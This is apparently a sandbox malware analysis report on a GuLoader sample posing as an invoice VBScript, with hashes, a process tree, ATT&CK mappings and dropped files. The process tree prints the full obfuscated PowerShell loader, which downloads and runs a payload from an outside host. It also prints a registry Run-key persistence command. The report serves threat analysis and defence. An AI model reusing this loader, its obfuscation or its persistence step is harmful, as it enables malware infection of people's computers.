Analysis

  • max time kernel
    120s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    02-07-2024 05:42

General

  • Target

    Revised Invoice 7389293.vbs

  • Size

    26KB

  • MD5

    ed86258f8c9db682ae810896c67d498c

  • SHA1

    e182aef5ecacc6bec36e9bc2bb255436b9dae698

  • SHA256

    64c701bc7d32900bf11e8f5dd9bed584d350a949c467f5fd6643e8cd7f902fcd

  • SHA512

    b90e69ed8c473994472b813ef68c45d91e4c46485227f109d400a8b7d4ebfe425abc585387ed61f9e51fd00fd6cdca16f9bf4bf1800082d9cebc8d650429822a

  • SSDEEP

    384:PlzV6m2So022lGP9V6+s0flKJpl/5ZrE5HVnS0Re7PIx+5lEPmgwwCjnvhTT1EFw:9zSR022X/523S0e8xPPmVvJr08hpouGs

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Revised Invoice 7389293.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle Udvalgsprocedurens191 Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187 Algums Indberetningspligter Wakerobin Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle Udvalgsprocedurens191 Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187 Algums Indberetningspligter Wakerobin';If (${host}.CurrentCulture) {$Cuculidae++;}Function Glycosemia205($Drfyldingernes){$Folkloric=$Drfyldingernes.Length-$Cuculidae;$Decalvant='SUBsTRI';$Decalvant+='ng';For( $Fritures=1;$Fritures -lt $Folkloric;$Fritures+=2){$Relinquishments+=$Drfyldingernes.$Decalvant.Invoke( $Fritures, $Cuculidae);}$Relinquishments;}function Eksistensminimas($Rettesnorene){ &($Prosadigtene) ($Rettesnorene);}$signallygtens=Glycosemia205 'AM.o z i l.lRa./ 5U. 0, b( Wsi.nEd o w s, ,NdT. 1C0M. 0U;, SW i n 6 4A;t .x 6 4G; Tr vK: 1 2G1 . 0n). AG,e cOk oS/ 2 0 1 0,0 1A0R1. ,F itrMerfSo,xO/ 1M2 1 .A0F ';$Millihg=Glycosemia205 ' UCs eor - A,gDe.nFt ';$Transceive2=Glycosemia205 'sh,t t pD: /S/N1 0 3 ..1F9E5 .U2 3N7S. 4.3,/ N y.e t .KqOxFdS> h tAt.pSsE:P/,/Tm,i l aDn aRcOe.sA.Cc,o,m / N,y.e t ..qAxEdv ';$Mellemliggende=Glycosemia205 ',>. ';$Prosadigtene=Glycosemia205 'DiAeSx ';$Distendedly='opbyggendes';$Tilbageholdelses = Glycosemia205 'ce.c,hMoU S%,aRp.pKd aRtDaS%s\ s.tBa,l lLm aUnP. FArBoN &C&K IeOcEhco St ';Eksistensminimas (Glycosemia205 'D$ g.lHoEbSaNlP:SP a.rua,l l e lReVd =.( cSmTd ./Uc $GT,i l,b aBg e.h o,lPd.e.l s.eFsS)H ');Eksistensminimas (Glycosemia205 'U$igIlSo bSaAl :USUe.kUsLtMeUnHa,a rBsCf,dSsFeelfs d.aIgZeunMsH=p$,TArUa.nAs,cUePi.v e.2 .Os,p.l,i,tI(H$UM e.lPlDePm.l.iBg.gFeVn d eT)I ');Eksistensminimas (Glycosemia205 ' [ N e.t,.oSAe.r v iRcEe.PDo iUn t MFa,n a,g eIr ]L:K: S e.c uFrfi t y PSrNoStCoScBo,l =s M[ NRe.tU..SSe,c u rTi t y,PSrDo tGoHcPoClrT,yBpAeF] :A:CT.lOs 1D2 ');$Transceive2=$Sekstenaarsfdselsdagens[0];$Lothar= (Glycosemia205 'A$,gfl o b aUl :,D i s eJnLtTe.r =VNNeRw - O.bRj.eBc tC S y,s t e,mI.AN.e tk. WTeIb,CFl.ile,n t');$Lothar+=$Paralleled[1];Eksistensminimas ($Lothar);Eksistensminimas (Glycosemia205 'S$DDRiCsDeTnGt.e rS. HPeRaNd eSrKs [C$,MLi.lAlPiKhGg ]D=P$ s,i g n aPlHl y.g.tte nMsP ');$Emigated=Glycosemia205 ' $ DFi,s,eVnLt eSrS.PDBoUwRnYl ofa,d F.i l e (N$FT,rAaSnTs cKe iNvFe 2S,P$TANl g,u.mAsF) ';$Algums=$Paralleled[0];Eksistensminimas (Glycosemia205 'A$ g l.oFbCa lG: BNuMfHf.ePrSe dG= ( TRe,sSt,- PDa t h R$HA,l g uSmTs,) ');while (!$Buffered) {Eksistensminimas (Glycosemia205 ' $BgClhoObiaCl :SA,n.g eSlMi.cLnAePsRsF= $AtKrSuDe ') ;Eksistensminimas $Emigated;Eksistensminimas (Glycosemia205 'BS tFa rEtO- S lOeAePpL f4P ');Eksistensminimas (Glycosemia205 'P$fg,l o b a lF:SBHuKfSf.eSrfesd,=W(UT eSs.t -CPEa t h $.AAl,gFuBm s )U ') ;Eksistensminimas (Glycosemia205 'S$LgNlAoPbMaSl :VO,k,sBeEh,aKl eRnls,=,$.g,l o b.acl : M iKd dTe lSv e jSeTn.+.+M%C$DSKe kOsSt.e nPaWaSrds fAd sHeUlPs.dHaVgFeFnfs..ncTopuhnNt. ') ;$Transceive2=$Sekstenaarsfdselsdagens[$Oksehalens];}$Sandhedsvidnet=334484;$Phytol=26427;Eksistensminimas (Glycosemia205 ' $ gNl o bNa lI:TK u.lOtDuMrPuNdAbCuMd d e tQs 1U5S6a C=T TGSe t -PC o nPtCeKn tB $.AOlSg,uCmKsC ');Eksistensminimas (Glycosemia205 ' $Ig l o bRa.lK:BsVw a.gT G=, [BSsy s tUeFm .SCbo nLvCe rNt ]D: : FSrAo mtBFa.s.eR6.4fS t rDiDnPg (A$,KRuMl t u r u.d b,u dAdJe t,s,1K5 6V) ');Eksistensminimas (Glycosemia205 ' $ g,l oSb aKl :.CFo rKrMo sSi b,l.e ,=P [ S.yFsBt,eSm..ETSe,xSth.KE n cJoFdji,n g ]H:J:VASS C.I,IS.,G,e tHSGt.r i nGg (b$ sRwPa,g,), ');Eksistensminimas (Glycosemia205 'E$TgUl oEb.aFl.:SEBhbrBlgiMc h,m,a,nS=B$ C oCrrrCoDs iTbDlTe.. sSuRb,s t r,iTnBgp(B$,S a,n.d,h e d.s v iFd.nSeHt ,B$ PSh y tSo,l,)O ');Eksistensminimas $Ehrlichman;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2748
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\stallman.Fro && echo t"
        3⤵
          PID:2480
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle Udvalgsprocedurens191 Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187 Algums Indberetningspligter Wakerobin Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle Udvalgsprocedurens191 Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187 Algums Indberetningspligter Wakerobin';If (${host}.CurrentCulture) {$Cuculidae++;}Function Glycosemia205($Drfyldingernes){$Folkloric=$Drfyldingernes.Length-$Cuculidae;$Decalvant='SUBsTRI';$Decalvant+='ng';For( $Fritures=1;$Fritures -lt $Folkloric;$Fritures+=2){$Relinquishments+=$Drfyldingernes.$Decalvant.Invoke( $Fritures, $Cuculidae);}$Relinquishments;}function Eksistensminimas($Rettesnorene){ &($Prosadigtene) ($Rettesnorene);}$signallygtens=Glycosemia205 'AM.o z i l.lRa./ 5U. 0, b( Wsi.nEd o w s, ,NdT. 1C0M. 0U;, SW i n 6 4A;t .x 6 4G; Tr vK: 1 2G1 . 0n). AG,e cOk oS/ 2 0 1 0,0 1A0R1. ,F itrMerfSo,xO/ 1M2 1 .A0F ';$Millihg=Glycosemia205 ' UCs eor - A,gDe.nFt ';$Transceive2=Glycosemia205 'sh,t t pD: /S/N1 0 3 ..1F9E5 .U2 3N7S. 4.3,/ N y.e t .KqOxFdS> h tAt.pSsE:P/,/Tm,i l aDn aRcOe.sA.Cc,o,m / N,y.e t ..qAxEdv ';$Mellemliggende=Glycosemia205 ',>. ';$Prosadigtene=Glycosemia205 'DiAeSx ';$Distendedly='opbyggendes';$Tilbageholdelses = Glycosemia205 'ce.c,hMoU S%,aRp.pKd aRtDaS%s\ s.tBa,l lLm aUnP. FArBoN &C&K IeOcEhco St ';Eksistensminimas (Glycosemia205 'D$ g.lHoEbSaNlP:SP a.rua,l l e lReVd =.( cSmTd ./Uc $GT,i l,b aBg e.h o,lPd.e.l s.eFsS)H ');Eksistensminimas (Glycosemia205 'U$igIlSo bSaAl :USUe.kUsLtMeUnHa,a rBsCf,dSsFeelfs d.aIgZeunMsH=p$,TArUa.nAs,cUePi.v e.2 .Os,p.l,i,tI(H$UM e.lPlDePm.l.iBg.gFeVn d eT)I ');Eksistensminimas (Glycosemia205 ' [ N e.t,.oSAe.r v iRcEe.PDo iUn t MFa,n a,g eIr ]L:K: S e.c uFrfi t y PSrNoStCoScBo,l =s M[ NRe.tU..SSe,c u rTi t y,PSrDo tGoHcPoClrT,yBpAeF] :A:CT.lOs 1D2 ');$Transceive2=$Sekstenaarsfdselsdagens[0];$Lothar= (Glycosemia205 'A$,gfl o b aUl :,D i s eJnLtTe.r =VNNeRw - O.bRj.eBc tC S y,s t e,mI.AN.e tk. WTeIb,CFl.ile,n t');$Lothar+=$Paralleled[1];Eksistensminimas ($Lothar);Eksistensminimas (Glycosemia205 'S$DDRiCsDeTnGt.e rS. HPeRaNd eSrKs [C$,MLi.lAlPiKhGg ]D=P$ s,i g n aPlHl y.g.tte nMsP ');$Emigated=Glycosemia205 ' $ DFi,s,eVnLt eSrS.PDBoUwRnYl ofa,d F.i l e (N$FT,rAaSnTs cKe iNvFe 2S,P$TANl g,u.mAsF) ';$Algums=$Paralleled[0];Eksistensminimas (Glycosemia205 'A$ g l.oFbCa lG: BNuMfHf.ePrSe dG= ( TRe,sSt,- PDa t h R$HA,l g uSmTs,) ');while (!$Buffered) {Eksistensminimas (Glycosemia205 ' $BgClhoObiaCl :SA,n.g eSlMi.cLnAePsRsF= $AtKrSuDe ') ;Eksistensminimas $Emigated;Eksistensminimas (Glycosemia205 'BS tFa rEtO- S lOeAePpL f4P ');Eksistensminimas (Glycosemia205 'P$fg,l o b a lF:SBHuKfSf.eSrfesd,=W(UT eSs.t -CPEa t h $.AAl,gFuBm s )U ') ;Eksistensminimas (Glycosemia205 'S$LgNlAoPbMaSl :VO,k,sBeEh,aKl eRnls,=,$.g,l o b.acl : M iKd dTe lSv e jSeTn.+.+M%C$DSKe kOsSt.e nPaWaSrds fAd sHeUlPs.dHaVgFeFnfs..ncTopuhnNt. ') ;$Transceive2=$Sekstenaarsfdselsdagens[$Oksehalens];}$Sandhedsvidnet=334484;$Phytol=26427;Eksistensminimas (Glycosemia205 ' $ gNl o bNa lI:TK u.lOtDuMrPuNdAbCuMd d e tQs 1U5S6a C=T TGSe t -PC o nPtCeKn tB $.AOlSg,uCmKsC ');Eksistensminimas (Glycosemia205 ' $Ig l o bRa.lK:BsVw a.gT G=, [BSsy s tUeFm .SCbo nLvCe rNt ]D: : FSrAo mtBFa.s.eR6.4fS t rDiDnPg (A$,KRuMl t u r u.d b,u dAdJe t,s,1K5 6V) ');Eksistensminimas (Glycosemia205 ' $ g,l oSb aKl :.CFo rKrMo sSi b,l.e ,=P [ S.yFsBt,eSm..ETSe,xSth.KE n cJoFdji,n g ]H:J:VASS C.I,IS.,G,e tHSGt.r i nGg (b$ sRwPa,g,), ');Eksistensminimas (Glycosemia205 'E$TgUl oEb.aFl.:SEBhbrBlgiMc h,m,a,nS=B$ C oCrrrCoDs iTbDlTe.. sSuRb,s t r,iTnBgp(B$,S a,n.d,h e d.s v iFd.nSeHt ,B$ PSh y tSo,l,)O ');Eksistensminimas $Ehrlichman;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2764
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\stallman.Fro && echo t"
            4⤵
              PID:3020
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of WriteProcessMemory
              PID:2272
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chooseable" /t REG_EXPAND_SZ /d "%valleculate% -w 1 $Flkkedes=(Get-ItemProperty -Path 'HKCU:\Optagningsmaskiners\').Kesslerman;%valleculate% ($Flkkedes)"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1540
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chooseable" /t REG_EXPAND_SZ /d "%valleculate% -w 1 $Flkkedes=(Get-ItemProperty -Path 'HKCU:\Optagningsmaskiners\').Kesslerman;%valleculate% ($Flkkedes)"
                  6⤵
                  • Adds Run key to start application
                  • Modifies registry key
                  PID:2688

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Defense Evasion

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        4a01b9856305de5c4ad3cc5613c946dd

        SHA1

        41d084738ba78ea12dbb0c72f425f68d67a4ba12

        SHA256

        26cadf791f3320b57af102ddf141bd36a3ac9a79ab0f4a0300f85096e84d5ff6

        SHA512

        db2a855d741482b24c2c26535a76ca4dec79167de007e36bb16dfa42dab1c2b8fecbf6bac9dd0379e544bcab9d4a51bdee4b376a88640192c29eb7f84a1a4812

      • C:\Users\Admin\AppData\Local\Temp\CabCFDD.tmp
        Filesize

        70KB

        MD5

        49aebf8cbd62d92ac215b2923fb1b9f5

        SHA1

        1723be06719828dda65ad804298d0431f6aff976

        SHA256

        b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

        SHA512

        bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D59FT0WL5VLT1TZYKOPG.temp
        Filesize

        7KB

        MD5

        4ca657bb77cdea033efc96e5e1e6c1e6

        SHA1

        467c974c7748f6f3dd3e529823f831aa01019abd

        SHA256

        8561c0ee6801558b6a03a4ef88158b65ba44b40068ca32b2212bcd49a795e74b

        SHA512

        8d8fe2e627b1de37e83202abc7a1f8d4cd263586634788e94c40f590469f0f9ef562a285aab089e7b0110892cd3b2cf61b717aa16fc552882c305e70e82b3af6

      • C:\Users\Admin\AppData\Roaming\stallman.Fro
        Filesize

        469KB

        MD5

        aba02c6ac493c569a13fe65cd959509b

        SHA1

        bad9b1ca9d756e3132c0f6a31d91ff5292261463

        SHA256

        e358c9e0c4fc9d907f60c86fab74df3ebc37ab8e2051d989b76a0ec2cf512461

        SHA512

        a8c55d08fbc07f1a4363b2d546b495ed19520a1069d84c8abf47f296a2e30c2494d477ef9e30248bf70519cf738caf4a6305c027246c683dd38e586786976567

      • memory/2272-57-0x0000000001DF0000-0x0000000004737000-memory.dmp
        Filesize

        41.3MB

      • memory/2272-56-0x0000000000D80000-0x0000000001DE2000-memory.dmp
        Filesize

        16.4MB

      • memory/2748-22-0x000000001B5E0000-0x000000001B8C2000-memory.dmp
        Filesize

        2.9MB

      • memory/2748-28-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp
        Filesize

        9.6MB

      • memory/2748-26-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp
        Filesize

        9.6MB

      • memory/2748-27-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp
        Filesize

        9.6MB

      • memory/2748-34-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp
        Filesize

        9.6MB

      • memory/2748-35-0x000007FEF5B5E000-0x000007FEF5B5F000-memory.dmp
        Filesize

        4KB

      • memory/2748-21-0x000007FEF5B5E000-0x000007FEF5B5F000-memory.dmp
        Filesize

        4KB

      • memory/2748-23-0x0000000001E00000-0x0000000001E08000-memory.dmp
        Filesize

        32KB

      • memory/2748-24-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp
        Filesize

        9.6MB

      • memory/2748-25-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp
        Filesize

        9.6MB

      • memory/2748-60-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp
        Filesize

        9.6MB

      • memory/2764-36-0x0000000006950000-0x0000000009297000-memory.dmp
        Filesize

        41.3MB